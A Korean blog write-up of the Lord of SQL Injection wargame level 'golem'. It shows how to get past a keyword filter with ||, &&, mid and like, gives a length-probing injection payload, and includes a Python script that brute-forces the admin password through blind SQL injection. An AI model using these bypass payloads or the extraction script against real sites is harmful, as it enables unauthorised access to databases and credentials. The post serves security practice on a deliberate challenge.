Lord of SQL Injection

Lord of SQL Injection 11번 문제 - golem

ilsancityboy 2024. 5. 15. 04:02

 

 

  if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

이번 문제에서는 or과 and 그리고 substr( 과 = 을 필터링한다

or 대체로는 ||

and 대체로는 &&

substr( 대체로는 mid, substring 이 있다.

= 대체자로는 like가 있다.

 

substr의 대체자인 mid와 substring은  약간씩 사용법이 다르다.

https://ilsancityboy.tistory.com/67

 

Substr , Substring , Mid

substr, substring, mid 함수들은 문자열에서 일부분을 추출하는 데 사용된다. substrsubstr 함수는 주어진 문자열에서 지정된 위치에서 시작하여 지정된 길이만큼의 부분 문자열을 반환한다.// JavaScript

ilsancityboy.tistory.com

 

 

=의 대체자인 like는 =와는 약간 다르다.

-- 'a'로 시작하는 모든 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE 'a%';

-- 두 번째 문자가 'b'이고, 세 번째 문자가 'c'인 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE '_bc%';

-- 'abc'로 끝나는 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE '%abc';

-- 'x'로 시작하고 'z'로 끝나는 5자리 문자열을 검색
SELECT * FROM table_name WHERE column_name LIKE 'x%z';

 

따라서 전에 문제에 썼던 방법에서 필터링되는 부분들만 우회해서 문제를 풀어나가면 된다.

?pw=' || id like 'admin' %26%26 length(pw)>'1

1부터 숫자를 올려나가 admin의 비밀번호 길이를 유추해나간다.

비밀번호 길이가 7이상은 참이고

8 이상은 거짓인거 보니 길이값이 8인것을 유추할 수 있다.

 

import requests
import string

cookies = {'PHPSESSID': '50f4eqmosif23mekrv0rosp522'}
characters = string.ascii_letters + string.digits


# 패스워드의 길이를 증가시키면서 추측
for pw_len in range(1, 9):
    for pw_word in characters:
        url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
        params = {'pw': f"\' || id like \'admin\' && mid(pw, {pw_len}, 1) like \'{pw_word}"}
        res = requests.get(url=url, params=params, cookies=cookies)
        if "Hello admin" in res.text:
            print(f"pw의 {pw_len}번째 값은 {pw_word}입니다")
            break

따라서 무차별 대입 공격 코드를 작성하고 substr 의 대체인 mid로 바꿔줌으로써 공격이 성공하게 된다.